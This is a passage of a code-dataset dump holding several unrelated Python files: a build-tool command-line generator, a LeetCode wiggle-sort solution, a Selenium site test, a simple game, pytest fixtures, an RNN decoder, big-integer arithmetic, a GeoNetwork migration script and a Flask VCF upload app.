os.name.startswith(\"linux\"):\n # cmd.extend(self.convert_includes(LINUX_DEFAULT_INC_DIRS))\n # else:\n # warning(\"unknown default include paths\")\n\n # temporarily disabled\n # pch = self.get_pch_all(c.pch if not file.pch else file.pch,\n # file.pch_file, file.pch_out,\n # c.pch_file, c.pch_out)\n # if pch:\n # cmd.extend(pch)\n \n cmd.extend(c.options)\n if file:\n cmd.extend(file.options)\n \n return \" \".join(cmd)\n \n def link_flags(self, cfg: Configuration, libs: bool = True) -> str:\n cmd = []\n \n if cfg.link.debug_file:\n cmd.append(self.debug_file(cfg.link.debug_file))\n \n cmd.extend(self.lib_dirs(cfg.link.lib_dirs))\n \n if cfg.link.default_lib_dirs:\n if self.mode == Mode.MSVC:\n cmd.extend(self.lib_dirs(msvc_tools.get_lib_dirs(\"\")))\n \n if libs and cfg.link.libs:\n cmd.extend(self.libs(cfg.link.libs))\n\n if cfg.link.ignore_libs:\n cmd.extend(self.ignore_libs(cfg.link.ignore_libs))\n \n if cfg.link.import_lib:\n cmd.append(self.import_lib(cfg.link.import_lib))\n\n cmd.extend(cfg.link.options)\n \n return \" \".join(cmd)\n \n # def convert_compile_group(self, compile_group: Compile):\n # pass\n \n def convert_includes(self, include_paths: list) -> list:\n converted_paths = []\n [converted_paths.append(f\"{self._char_inc_dir}\\\"{os.path.abspath(path)}\\\"\") for path in include_paths]\n return converted_paths\n \n @staticmethod\n def convert_char(char: str, items: list) -> list:\n converted_paths = []\n [converted_paths.append(f\"{char}{item}\") for item in items]\n return converted_paths\n \n @staticmethod\n def convert_char_abs(char: str, items: list) -> list:\n converted_paths = []\n [converted_paths.append(f\"{char}\\\"{os.path.abspath(item)}\\\"\") for item in items]\n return converted_paths\n \n @staticmethod\n def convert_char_basename(char: str, items: list) -> list:\n converted_paths = []\n [converted_paths.append(f\"{char}{os.path.basename(item)}\") for item in items]\n return converted_paths\n \n def convert_defines(self, defines: list) -> list:\n return self.convert_char(self._char_define, defines)\n \n def lib_dirs(self, dirs: list) -> list:\n return self.convert_char_abs(\"/LIBPATH:\" if self.mode == Mode.MSVC else \"-L \", dirs)\n \n def libs(self, libs: list) -> list:\n return self.convert_char(\"\" if self.mode == Mode.MSVC else \"-l \", libs)\n \n def ignore_libs(self, libs: list) -> list:\n if not libs:\n return []\n\n if self.mode == Mode.GCC: # maybe clang as well?\n return [\"--exclude-libs,\" + \",\".join(libs)]\n \n if self.mode == Mode.MSVC:\n # this also supports the same syntax as --exclude-libs, could use that\n return self.convert_char(\"/NODEFAULTLIB:\", libs)\n \n return []\n \n def import_lib(self, lib: str) -> str:\n if not lib:\n return \"\"\n \n if self.mode == Mode.MSVC:\n return f\"/IMPLIB:\\\"{os.path.abspath(os.path.splitext(lib)[0])}.lib\\\"\"\n \n # does clang or gcc have an import library option?\n \n return \"\"\n \n def output_file(self, path: str) -> str:\n if not path:\n return \"\"\n \n if self.mode == Mode.MSVC:\n return f\"/OUT:\\\"{path}\\\"\"\n \n return \"\"\n \n def debug_file(self, path: str) -> str:\n if not path:\n return \"\"\n \n if self.mode == Mode.MSVC:\n return f\"/PDB:\\\"{path}\\\"\"\n \n return \"\"\n \n def get_pch_all(self, pch: PrecompiledHeader, pch_file: str, pch_out: str,\n backup_file: str = None, backup_out: str = None) -> list:\n \"\"\"returns all pch settings, (pch create/use, pch file, and pch out)\"\"\"\n pch_list = []\n \n if pch and pch != PrecompiledHeader.NONE:\n if pch_file:\n pch_list.append(self.get_pch(pch, pch_file))\n elif backup_file:\n pch_list.append(self.get_pch(pch, backup_file))\n \n if pch_out:\n pch_list.append(self.get_pch_out(pch_out))\n elif backup_out:\n pch_list.append(self.get_pch_out(backup_out))\n \n return pch_list\n \n def get_pch(self, pch: PrecompiledHeader, path: str) -> str:\n if pch == PrecompiledHeader.USE:\n if self.mode == Mode.MSVC:\n return f\"/Yu\\\"{path}\\\"\"\n elif self.mode == Mode.CLANG:\n return f\"-include-pch \\\"{path}\\\"\"\n \n if pch == PrecompiledHeader.CREATE:\n if self.mode == Mode.MSVC:\n return f\"/Yc\\\"{path}\\\"\"\n elif self.mode == Mode.CLANG:\n return f\"-emit-pch \\\"{path}\\\"\"\n \n return \"\"\n \n def get_pch_out(self, path: str) -> str:\n if not path:\n return \"\"\n \n if self.mode == Mode.MSVC:\n return f\"/Fp\\\"{os.path.abspath(os.path.splitext(path)[0])}.pch\\\"\"\n \n return \"\"\n \n \n# meh\ndef get_compiler(compiler: str, language: Enum) -> str:\n if compiler.startswith(\"msvc\"):\n return \"cl.exe\"\n elif compiler.startswith(\"gcc_\"):\n if language == Language.CPP:\n return \"g++-\" + str(compiler[4:])\n else: # assuming language == Language.C:\n return \"gcc-\" + str(compiler[4:])\n elif compiler.startswith(\"clang_\") and compiler != \"clang_cl\":\n return \"clang-\" + str(compiler[6:])\n else:\n return compiler\n\n","repo_name":"Demez/QuiverProjectCreator","sub_path":"project_generators/shared/cmd_line_gen.py","file_name":"cmd_line_gen.py","file_ext":"py","file_size_in_byte":8143,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"21"} +{"seq_id":"10079212418","text":"'''\n280. 摆动排序\n给你一个无序的数组 nums, 将该数字 原地 重排后使得 nums[0] <= nums[1] >= nums[2] <= nums[3]...。\n\n示例:\n\n输入: nums = [3,5,2,1,6,4]\n输出: 一个可能的解答是 [3,5,1,6,2,4]\n\n\n280. Wiggle Sort\nGiven an unsorted array nums, reorder it in-place such that nums[0] <= nums[1] >= nums[2] <= nums[3]....\n\nExample:\n\nInput: nums = [3,5,2,1,6,4]\nOutput: One possible answer is [3,5,1,6,2,4]\n'''\n\n\nclass Solution(object):\n def wiggleSort(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: None Do not return anything, modify nums in-place instead.\n \"\"\"\n for i in range(len(nums)-1):\n if (i % 2 == 0) == (nums[i] > nums[i+1]):\n nums[i], nums[i+1] = nums[i+1], nums[i]\n return nums\n\n\n'''\n解法一:排序 【通过】\n一个显而易见的解法是先将数组排序,再从第二个元素开始逐对交换元素的位置。如:\n\n [1, 2, 3, 4, 5, 6]\n ↑ ↑ ↑ ↑\n swap swap\n\n=> [1, 3, 2, 5, 4, 6]\nJava\npublic void wiggleSort(int[] nums) {\n Arrays.sort(nums);\n for (int i = 1; i < nums.length - 1; i += 2) {\n swap(nums, i, i + 1);\n }\n}\n\nprivate void swap(int[] nums, int i, int j) {\n int temp = nums[i];\n nums[i] = nums[j];\n nums[j] = temp;\n}\n复杂度分析\n\n时间复杂度 : O(n \\log n)O(nlogn)。\n算法的时间开销由排序过程决定,其时间复杂度为 O(n \\log n)O(nlogn)。\n\n空间复杂度 : O(1)O(1)。空间复杂度取决于排序的实现,通常而言,如果使用 堆排序,只需要 O(1)O(1)。\n\n方法二:一遍交换 【通过】\n直觉告诉我吗,可以只用一遍完成任务。当我们遍历整个数组,比较当前元素与下一个元素。若顺序不正确,则交换之。\n\nJava\npublic void wiggleSort(int[] nums) {\n boolean less = true;\n for (int i = 0; i < nums.length - 1; i++) {\n if (less) {\n if (nums[i] > nums[i + 1]) {\n swap(nums, i, i + 1);\n }\n } else {\n if (nums[i] < nums[i + 1]) {\n swap(nums, i, i + 1);\n }\n }\n less = !less;\n }\n}\n我们可以通过将条件压缩到一行来简化代码。注意 less 的布尔值事实上取决于索引的奇偶性。\n\nJava\npublic void wiggleSort(int[] nums) {\n for (int i = 0; i < nums.length - 1; i++) {\n if (((i % 2 == 0) && nums[i] > nums[i + 1])\n || ((i % 2 == 1) && nums[i] < nums[i + 1])) {\n swap(nums, i, i + 1);\n }\n }\n}\n下面是 @StefanPochmann 提出的另一个令人惊讶的解法。查看原贴\n\nJava\npublic void wiggleSort(int[] nums) {\n for (int i = 0; i < nums.length - 1; i++) {\n if ((i % 2 == 0) == (nums[i] > nums[i + 1])) {\n swap(nums, i, i + 1);\n }\n }\n}\n复杂度分析\n\n时间复杂度 : O(n)O(n)。\n在最坏的情况下,我们最多交换了n \\over 2 \n2\nn\n​\t\n 次。例如输入为 [2,1,3,1,4,1]。\n\n空间复杂度 : O(1)O(1)。\n\n作者:LeetCode\n链接:https://leetcode-cn.com/problems/wiggle-sort/solution/bai-dong-pai-xu-by-leetcode/\n来源:力扣(LeetCode)\n著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。\n'''\n","repo_name":"MecaCho/algorithms_training","sub_path":"algorithms/sort/leetcode-280-WiggleSort.py","file_name":"leetcode-280-WiggleSort.py","file_ext":"py","file_size_in_byte":3256,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20400877094","text":"'''\r\nCreated on 26 oct. 2023\r\n\r\n@author: joeln\r\n'''\r\nimport unittest\r\nimport time\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.action_chains import ActionChains\r\nfrom selenium.webdriver.support.ui import Select\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.common.exceptions import NoSuchElementException\r\nfrom selenium.common.exceptions import NoAlertPresentException\r\nfrom selenium.common.exceptions import NoSuchWindowException\r\nfrom selenium.common.exceptions import TimeoutException\r\nfrom Functions.Functions import Functions as Selenium\r\nfrom Functions.Inicializar import Inicializar as ini\r\n\r\nimport msvcrt;\r\nimport pytest\r\nclass Test_01(unittest.TestCase):\r\n\r\n\r\n def setUp(self, URL=ini.URL):\r\n self.driver = webdriver.Chrome() #Abrir Chrome\r\n self.driver.implicitly_wait(10) #Esperamos 10 segundos para continuar (para que se cargue por completo)\r\n self.driver.maximize_window() #Maximizamos la ventana\r\n self.driver.get(URL)\r\n \r\n def test_01(self):\r\n #Ingresamos a la sección MUJER\r\n Selenium.get_json_file(self, \"nav_items\")\r\n Selenium.get_elements(self, \"Mujer\").click()\r\n time.sleep(2)\r\n #Rechazamos las cookies\r\n Selenium.get_elements(self,\"ad\").click()\r\n self.assertEqual(\"Colección Mujer en Grimoldi\", self.driver.title, 'El titulo de la pagina \"mujer\" no coincide con la solicitada')\r\n\r\n #Sacamos screenshot\r\n self.driver.save_screenshot(\"C:\\\\Users\\\\joeln\\\\AppData\\\\Local\\\\Programs\\\\Python\\\\Python311\\\\Automation Proyect\\\\Sprint N°3\\\\src\\\\data\\\\evidencia\\\\test01\\\\seccionMujer.png\")\r\n \r\n #Ingresamos a la sección HOMBRES\r\n Selenium.get_elements(self,\"Hombre\").click()\r\n time.sleep(2)\r\n self.assertEqual(\"Colección Hombre en Grimoldi\", self.driver.title, 'El titulo de la pagina \"hombres\" no coincide con el solicitado')\r\n #Sacamos screenshot\r\n self.driver.save_screenshot(\"C:\\\\Users\\\\joeln\\\\AppData\\\\Local\\\\Programs\\\\Python\\\\Python311\\\\Automation Proyect\\\\Sprint N°3\\\\src\\\\data\\\\evidencia\\\\test01\\\\seccionHombre.png\")\r\n \r\n \r\n #Ingresamos a la sección NIÑOS\r\n Selenium.get_elements(self,\"Nenes\").click()\r\n time.sleep(2)\r\n self.assertEqual(\"Colección Niños en Grimoldi\", self.driver.title, 'El titulo de la pagina \"niños\" no coincide con el solicitado')\r\n #Sacamos screenshot\r\n self.driver.save_screenshot(\"C:\\\\Users\\\\joeln\\\\AppData\\\\Local\\\\Programs\\\\Python\\\\Python311\\\\Automation Proyect\\\\Sprint N°3\\\\src\\\\data\\\\evidencia\\\\test01\\\\seccionNiños.png\")\r\n \r\n \r\n #Ingresamos a la sección ACCESORIOS\r\n Selenium.get_elements(self,\"Accesorios\").click()\r\n time.sleep(2)\r\n self.assertEqual(\"Accesorios en Grimoldi\", self.driver.title, 'El titulo de la pagina \"accesorios\" no coincide con el solicitado')\r\n #Sacamos screenshot\r\n self.driver.save_screenshot(\"C:\\\\Users\\\\joeln\\\\AppData\\\\Local\\\\Programs\\\\Python\\\\Python311\\\\Automation Proyect\\\\Sprint N°3\\\\src\\\\data\\\\evidencia\\\\test01\\\\seccionAccesorios.png\")\r\n \r\n \r\n #Ingresamos a la sección POR OCASIÓN\r\n Selenium.get_elements(self,\"Ocasion\").click()\r\n time.sleep(2)\r\n self.assertEqual(\"Por Ocasión en Grimoldi\", self.driver.title, 'El titulo de la pagina \"Por ocasión\" no coincide con el solicitado')\r\n #Sacamos screenshot\r\n self.driver.save_screenshot(\"C:\\\\Users\\\\joeln\\\\AppData\\\\Local\\\\Programs\\\\Python\\\\Python311\\\\Automation Proyect\\\\Sprint N°3\\\\src\\\\data\\\\evidencia\\\\test01\\\\seccionOcasion.png\")\r\n #será la misma que accesorios ya que produce un bug\r\n \r\n #Ingresamos a la sección MARCAS\r\n Selenium.get_elements(self,\"Marcas\").click()\r\n time.sleep(2)\r\n self.assertEqual(\"Por Marcas en Grimoldi\", self.driver.title, 'El titulo de la pagina \"Marcas\" no coincide con el solicitado')\r\n #Sacamos screenshot\r\n self.driver.save_screenshot(\"C:\\\\Users\\\\joeln\\\\AppData\\\\Local\\\\Programs\\\\Python\\\\Python311\\\\Automation Proyect\\\\Sprint N°3\\\\src\\\\data\\\\evidencia\\\\test01\\\\seccionMarcas.png\")\r\n\r\n \r\n #Ingresamos a la sección OUTLET\r\n Selenium.get_elements(self,\"outlet\").click()\r\n time.sleep(2)\r\n self.driver.switch_to.window(self.driver.window_handles[1])\r\n self.assertEqual(\"Grimoldi Outlet\", self.driver.title, 'El titulo de la pagina \"Outlet\" no coincide con el solicitado')\r\n #Sacamos screenshot\r\n self.driver.save_screenshot(\"C:\\\\Users\\\\joeln\\\\AppData\\\\Local\\\\Programs\\\\Python\\\\Python311\\\\Automation Proyect\\\\Sprint N°3\\\\src\\\\data\\\\evidencia\\\\test01\\\\Outlet.png\")\r\n \r\n \r\n \r\n \r\n \r\n \r\n def tearDown(self):\r\n self.driver.quit()\r\n \r\nif __name__ == \"__main__\":\r\n #import sys;sys.argv = ['', 'Test.testName']\r\n unittest.main()","repo_name":"PinoJoel/Sprint-N-3","sub_path":"Sprint N°3/src/Tests/Test_01.py","file_name":"Test_01.py","file_ext":"py","file_size_in_byte":5069,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22415496101","text":"# Snake water gun\r\n# 1. snake - water = snake\r\n# 2. water - gun = water\r\n# 3. gun - snake = gun\r\n# total attemt 10\r\n# no of time of winnig\r\nimport random\r\nlist = [ 'SNAKE','WATER','GUN']\r\nk = 0\r\nm = 0\r\ni = 0\r\n# total no of attempt is 10\r\nwhile(i<=10):\r\n pr2 = random.choice(list) # person2\r\n pr1 = input('Enter your choice :\\n') # person1\r\n if 'SNAKE' == pr1 and 'WATER' == pr2 :\r\n print('YOU WIN')\r\n print('EXCELLENT! ONCE MORE')\r\n k = k + 1\r\n i = i+1\r\n elif 'WATER' == pr1 and 'GUN' == pr2:\r\n print('YOU WIN')\r\n print('EXCELLENT! ONCE MORE')\r\n k = k + 1\r\n i = i + 1\r\n elif 'GUN' == pr1 and 'SNAKE' == pr2:\r\n print('YOU WIN')\r\n print('EXCELLENT! ONCE MORE')\r\n k = k + 1\r\n i = i + 1\r\n elif 'SNAKE' == pr2 and 'WATER' == pr1 :\r\n print('AI WIN')\r\n print('Try Again ')\r\n m = m + 1\r\n i = i+1\r\n elif 'WATER' == pr2 and 'GUN' == pr1:\r\n print('AI WIN')\r\n print('Try Again ')\r\n m = m + 1\r\n i = i + 1\r\n elif 'GUN' == pr2 and 'SNAKE' == pr1:\r\n print('AI WIN')\r\n print('Try Again ')\r\n m = m + 1\r\n i = i + 1\r\n else:\r\n print('Try Again ')\r\n i = i + 1\r\nif k==1:\r\n print('You Won 1 Time')\r\nelse:\r\n print('You Won',k,'Times')\r\nif m ==1:\r\n print('AI Won 1 Time')\r\nelse:\r\n print('AI Won',m,'Times')\r\n\r\n\r\n","repo_name":"akashbagwan2308/python_codes","sub_path":"Exercise6(Snake Game ).py","file_name":"Exercise6(Snake Game ).py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"22007040946","text":"from contextlib import contextmanager\nfrom tempfile import TemporaryFile\n\nfrom pyaides.files.tail import tail\n\nimport pytest\n\n\n@contextmanager\ndef _fstream(text):\n with TemporaryFile(\"w+b\") as f:\n f.write(text.encode(\"utf-8\"))\n f.seek(0)\n yield f\n\n\n@pytest.fixture\ndef end_without_eol():\n with _fstream(\"1\\n22\\n333\\n4444\") as f:\n yield f\n\n\n@pytest.fixture\ndef end_with_eol():\n with _fstream(\"1\\n22\\n333\\n4444\\n\") as f:\n yield f\n\n\n@pytest.fixture\ndef multiple_empty_lines():\n with _fstream(\"1\\n22\\n333\\n4444\\n\\n\\n\") as f:\n yield f\n\n\nclass TestTail:\n @pytest.mark.parametrize(\n \"n, expected\", [(1, b\"4444\"), (2, b\"333\\n4444\"), (3, b\"22\\n333\\n4444\")]\n )\n def test_tail1(self, n, expected, end_without_eol):\n assert tail(end_without_eol, n) == expected\n\n @pytest.mark.parametrize(\n \"n, expected\", [(1, b\"4444\\n\"), (2, b\"333\\n4444\\n\"), (3, b\"22\\n333\\n4444\\n\")]\n )\n def test_tail2(self, n, expected, end_with_eol):\n assert tail(end_with_eol, n) == expected\n\n @pytest.mark.parametrize(\n \"n, expected\", [(1, b\"\\n\"), (2, b\"\\n\\n\"), (3, b\"4444\\n\\n\\n\")]\n )\n def test_multiple_empty_lines(self, n, expected, multiple_empty_lines):\n assert tail(multiple_empty_lines, n, 1) == expected\n","repo_name":"okomestudio/pyaides","sub_path":"tests/pyaides/files/test_tail.py","file_name":"test_tail.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43045027917","text":"from torch.distributions import Categorical\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\n\nfrom instructRNN.instructions.instruct_utils import count_vocab\nfrom instructRNN.models.script_gru import ScriptGRU\n\ndevice = torch.device(0)\n\nclass RNNtokenizer():\n def __init__(self):\n self.sos_token_id = 0\n self.eos_token_id = 1\n self.pad_len = 45\n self.counts, self.vocab = count_vocab()\n self.word2index = {}\n self.index2word = {0: '[CLS]', 1: '[EOS]', 2: '[PAD]'}\n self.n_words = 3\n for word in self.vocab: \n self.addWord(word)\n\n def __call__(self, sent_list, use_langModel = False, pad_len=45):\n return self.tokenize_sentence(sent_list, pad_len, use_langModel)\n\n def _tokenize_sentence(self, sent, pad_len, use_langModel): \n tokens = [2]*pad_len\n for i, word in enumerate(sent.split()): \n if use_langModel:\n tokens[i] = self.bert_word2index[word]\n else: \n tokens[i] = self.word2index[word]\n tokens[i+1]=1\n return tokens\n\n def tokenize_sentence(self, sent_list, pad_len, use_langModel): \n tokenized_list = []\n for sent in sent_list:\n tokens = self._tokenize_sentence(sent, pad_len, use_langModel)\n tokenized_list.append(tokens)\n return torch.LongTensor(tokenized_list)\n\n def _untokenize_sentence(self, tokens): \n sent = []\n for token in tokens: \n sent.append(self.index2word[token])\n if sent[-1] == \"[EOS]\" or sent[-1] == \"<|endoftext|>\" :\n break\n return ' '.join(sent[:-1])\n\n def untokenize_sentence(self, token_array): \n return np.array(list(map(self._untokenize_sentence, token_array.T)))\n\n def addWord(self, word):\n if word not in self.word2index:\n self.word2index[word] = self.n_words\n self.index2word[self.n_words] = word\n self.n_words += 1\n else:\n self.word2count[word] += 1\n\nclass SMDecoder(nn.Module): \n def __init__(self, out_dim, sm_hidden_dim, drop_p):\n super(SMDecoder, self).__init__()\n self.dropper = nn.Dropout(p=drop_p)\n self.fc1 = nn.Linear(sm_hidden_dim*2, out_dim)\n self.id = nn.Identity()\n \n def forward(self, sm_hidden): \n out_mean = self.id(torch.mean(sm_hidden, dim=1))\n out_max = self.id(torch.max(sm_hidden, dim=1).values)\n out = torch.cat((out_max, out_mean), dim=-1)\n out = self.dropper(out)\n out = torch.relu(self.fc1(out))\n return out.unsqueeze(0)\n\nclass DecoderRNN(nn.Module):\n def __init__(self, hidden_size, sm_hidden_dim=256, drop_p = 0.0):\n super().__init__()\n self.decoder_name = 'rnn_decoder'\n self.hidden_size = hidden_size\n self.tokenizer = RNNtokenizer()\n self.embedding_size=64\n self.embedding = nn.Embedding(self.tokenizer.n_words, self.embedding_size)\n self.gru = ScriptGRU(self.embedding_size, self.hidden_size, 1, activ_func = torch.relu, batch_first=True)\n self.out = nn.Linear(self.hidden_size, self.tokenizer.n_words)\n self.sm_decoder = SMDecoder(self.hidden_size, sm_hidden_dim, drop_p=drop_p)\n self.softmax = nn.LogSoftmax(dim=1)\n self.drop_p = drop_p\n\n def save_model(self, save_string): \n torch.save(self.state_dict(), save_string+'.pt')\n \n def load_model(self, load_string, suffix=''): \n self.load_state_dict(torch.load(load_string+'decoders/'+self.decoder_name+suffix+'.pt', map_location=torch.device('cpu')))\n\n def draw_next(self, logits, k_sample=1):\n top_k = logits.topk(k_sample)\n probs = torch.softmax(top_k.values, dim=-1)\n dist = Categorical(probs)\n next_indices = top_k.indices.gather(1, dist.sample().unsqueeze(-1))\n return next_indices\n\n def _base_forward(self, ins, sm_hidden):\n embedded = torch.relu(self.embedding(ins))\n init_hidden = self.sm_decoder(sm_hidden)\n rnn_out, _ = self.gru(embedded.transpose(0,1), init_hidden)\n logits = self.out(rnn_out[:, -1,:])\n return logits, rnn_out\n\n def forward(self, sm_hidden):\n sos_input = torch.tensor([[self.tokenizer.sos_token_id]*sm_hidden.shape[0]]).to(sm_hidden.get_device())\n decoder_input = sos_input\n for di in range(self.tokenizer.pad_len):\n logits, decoder_hidden = self._base_forward(decoder_input, sm_hidden)\n next_index = self.draw_next(logits)\n decoder_input = torch.cat((decoder_input, next_index.T))\n decoded_indices = decoder_input.squeeze().detach().cpu().numpy()\n return self.softmax(logits), decoder_hidden, decoded_indices\n\n def decode_sentence(self, sm_hidden): \n _, _, decoded_indices = self.forward(sm_hidden)\n decoded_sentences = self.tokenizer.untokenize_sentence(decoded_indices[1:,...]) # detach from history as input\n return decoded_sentences\n\n def to(self, cuda_device): \n super().to(cuda_device)\n self.gru._mask_to(cuda_device)\n\n","repo_name":"ReidarRiveland/Instruct-RNN","sub_path":"instructRNN/decoding_models/decoder_models.py","file_name":"decoder_models.py","file_ext":"py","file_size_in_byte":5093,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"25743943396","text":"# 11\n# Hard\n\n# Multiply two numbers given as Big Integers. In such an array, each element in the array \n# is a single digit number.\n\n# For example:\n# [1,6,4,3] * [1,3,1] = [2,1,5,2,3,3] \n\n\n# -----------------------------------------------------\n\n# Time Complexity: O(m*n), where m and n are the lengths of the two BigIntegers\n# Space Complexity: O(m+n), because the result array takes m+n space\n\ndef bigint_multiply(arr1: list, arr2: list) -> list:\n if len(arr1) > len(arr2):\n longer = arr1\n shorter = arr2\n else:\n longer = arr2\n shorter = arr1\n final = [0]\n for short_col in range(len(shorter)-1, -1, -1):\n row = [0] * (len(longer)+len(shorter)-short_col)\n carry = 0\n for long_col in range(len(longer)-1, -1, -1):\n val = (longer[long_col] * shorter[short_col]) + carry\n row[long_col+1] = val % 10\n carry = int(val / 10)\n if carry == 0:\n row = row[1:]\n else:\n row[0] = carry\n final = bigint_add(row, final)\n return final\n\ndef bigint_add(arr1: list, arr2: list) -> list:\n if len(arr1) > len(arr2):\n longer = arr1\n shorter = arr2\n else:\n longer = arr2\n shorter = arr1\n final = [0] * (len(longer)+1)\n diff = len(longer) - len(shorter)\n carry = 0\n for long_col in range(len(longer)-1, -1, -1):\n val = longer[long_col] + carry\n short_col = long_col - diff\n if short_col >= 0:\n val += shorter[short_col]\n final[long_col+1] = val % 10\n carry = int(val / 10)\n if carry > 0:\n final[0] = carry\n return final\n else:\n return final[1:]\n \n# -----------------------------------------------------\n\nimport pytest\n\ndef test_bigint_addition():\n assert(bigint_add([1,1,1,1], [2,2,3,3]) == [3,3,4,4])\n assert(bigint_add([9,9], [1]) == [1,0,0])\n assert(bigint_add([1,6,4,3], [1,3,1]) == [1,7,7,4])\n\ndef test_bigint_multiply():\n assert(bigint_multiply([1,6,4,3], [1,3,1]) == [2,1,5,2,3,3])\n assert(bigint_multiply([1,2,3,4,5], [6,7,8,9,0]) == [8,3,8,1,0,2,0,5,0])\n\npytest.main()\n","repo_name":"dannynoonan/interview-prep","sub_path":"ic/12_arrays_strings_II/11_bigint_multiplication.py","file_name":"11_bigint_multiplication.py","file_ext":"py","file_size_in_byte":2133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14789060788","text":"PI = 3.14159\n\ndef calculate_volume(dims):\n # calculate the area of a circle\n radius = float(dims['radius'])\n height = float(dims['height'])\n area = PI * 2 * radius * height\n return area\n\n#main program\n\ndef main():\n \"The main program\"\n dims = {}\n\n dims['radius'] = input(\"what is the radius\")\n dims['height'] = input(\"what is the height\")\n print('the area is {0}'.format(calculate_volume(dims)))\n\nif __name__ == \"__main__\":\n main()","repo_name":"knobay/jempython","sub_path":"advanced_week1/cylinder.py","file_name":"cylinder.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7905049512","text":"#!/usr/bin/env python3\n\nimport psycopg2\nfrom datetime import datetime\n\nconn = psycopg2.connect(\"dbname=georchestra user=georchestra host=localhost port=5432\")\ncur = conn.cursor()\n\nMAPPED_ES_FIELDS = {\n \"_source\": \"harvesterUuid\",\n \"keyword\": \"tag.default\"\n }\n\ndef grab_serviceparams_criterias(service_id):\n cur.execute(\"SELECT * FROM geonetwork.serviceparameters WHERE service = %s\", (service_id,))\n rs = cur.fetchall()\n calculated_criteria = \"\"\n for i, cur_sp in enumerate(rs):\n calculated_criteria += \"+{}: {} \".format(MAPPED_ES_FIELDS[cur_sp[1]] or cur_sp[1], cur_sp[3])\n\n return calculated_criteria\n\n\ndef morph_criteria(criteria):\n crit = criteria.replace(\"_source=\", \"+harvesterUuid: \")\n crit = crit.replace(\"type=\", \"+resourceType: \")\n\n return crit.strip()\n\ndef source_already_created(uuid):\n cur.execute(\"SELECT * FROM geonetwork.sources WHERE uuid = %s\", (uuid,))\n rs = cur.fetchall()\n\n return True if len(rs) > 0 else False\n\n\ndef create_source(name, lucenefilter):\n insert = \"\"\"\n INSERT INTO\n geonetwork.sources ( uuid, name, creationdate, filter, groupowner, logo, type, uiconfig, servicerecord )\n VALUES\n ( %s, %s, %s, %s, NULL, NULL, 'subportal', NULL, NULL)\n \"\"\"\n now = datetime.now().isoformat()\n cur.execute(insert, (name, name, now, lucenefilter))\n\n\n\ncur.execute(\"SELECT * FROM geonetwork.services\")\nall_services = cur.fetchall()\n\n\n\nfor i in all_services:\n\n sce_id, sce_class, sce_desc, sce_explicitquery, sce_name = i\n\n print(sce_name)\n crit = None\n if sce_explicitquery is None or sce_explicitquery == '':\n print(\"\\tNo explicit query defined for service id {}, need to grab the params from the geonetwork.serviceparameters table\".format(sce_id))\n crit = grab_serviceparams_criterias(sce_id)\n else:\n crit = sce_explicitquery\n\n crit = morph_criteria(crit)\n print(\"\\tMorphed criteria: '{}'\".format(crit))\n\n if source_already_created(sce_name):\n print(\"\\tsource '{}' already exists in the geonetwork.source table, skipping.\".format(sce_name))\n else:\n print(\"\\t'{}' does not exist yet, creating ...\".format(sce_name))\n create_source(sce_name, crit)\n\nconn.commit()\ncur.close()\nconn.close()\n","repo_name":"georchestra/georchestra","sub_path":"migrations/23.0/migrate-virtual-csw-to-subportals.py","file_name":"migrate-virtual-csw-to-subportals.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"21"} +{"seq_id":"36612048935","text":"from flask import Flask, flash, render_template, \\\n request, redirect, send_from_directory\nimport vcf_transform, json_bundle, hgvs_conversion, re, os\n\n# create the application object\nAPP = Flask(__name__, static_folder='static')\nAPP.secret_key = \"vmcsuite\"\nAPP.config['UPLOAD_FOLDER'] = 'static/uploads'\n\ndef get_upload(filename):\n \"\"\"Returns the uploaded VCF file as a string\"\"\"\n with open(\"static/uploads/\" + filename) as f_in:\n return f_in.read()\n\ndef get_vmc_vcf(filename):\n \"\"\"Returns the transformed VCF file as a string\"\"\"\n with open(filename) as f_out:\n return f_out.read()\n\ndef get_json_schema():\n \"\"\"Returns the example JSON schema file as a string\"\"\"\n with open(\"static/schema.json\") as f_in:\n return f_in.read()\n\ndef get_json_bundle(filename):\n \"\"\"Returns the transformed JSON file as a string\"\"\"\n with open(filename) as f_in:\n return f_in.read()\n\ndef get_filename():\n \"\"\"Returns the name of the uploaded VCF file\"\"\"\n r = re.compile('.+.vcf')\n return list(filter(r.match, os.listdir(\"static/uploads\")))[0]\n\ndef get_download_paths():\n \"\"\"Creates paths to transformed VCF and JSON files ready for download\"\"\"\n r = re.compile('.+.vcf')\n filename = list(filter(r.match, os.listdir(\"static/uploads\")))[0]\n json = \"static/downloads/\" + filename.split(\".\")[0] + \".json\"\n vcf = \"static/downloads/vmc_\" + filename\n return json,vcf\n\n\n@APP.route('/', methods=['GET', 'POST'])\ndef home():\n \"\"\"\n Displays the example JSON schema, saves the uploaded VCF file to the uploads folder and then displays it as well.\n\n \"\"\"\n json_schema = get_json_schema()\n if request.method == 'POST':\n #check if the post request has the file part\n if 'file' not in request.files:\n return redirect(request.url)\n file = request.files['file']\n file.save(os.path.join(APP.config['UPLOAD_FOLDER'], file.filename))\n vcf_upload = get_upload(file.filename)\n #Displays uploaded VCF with example JSON\n return 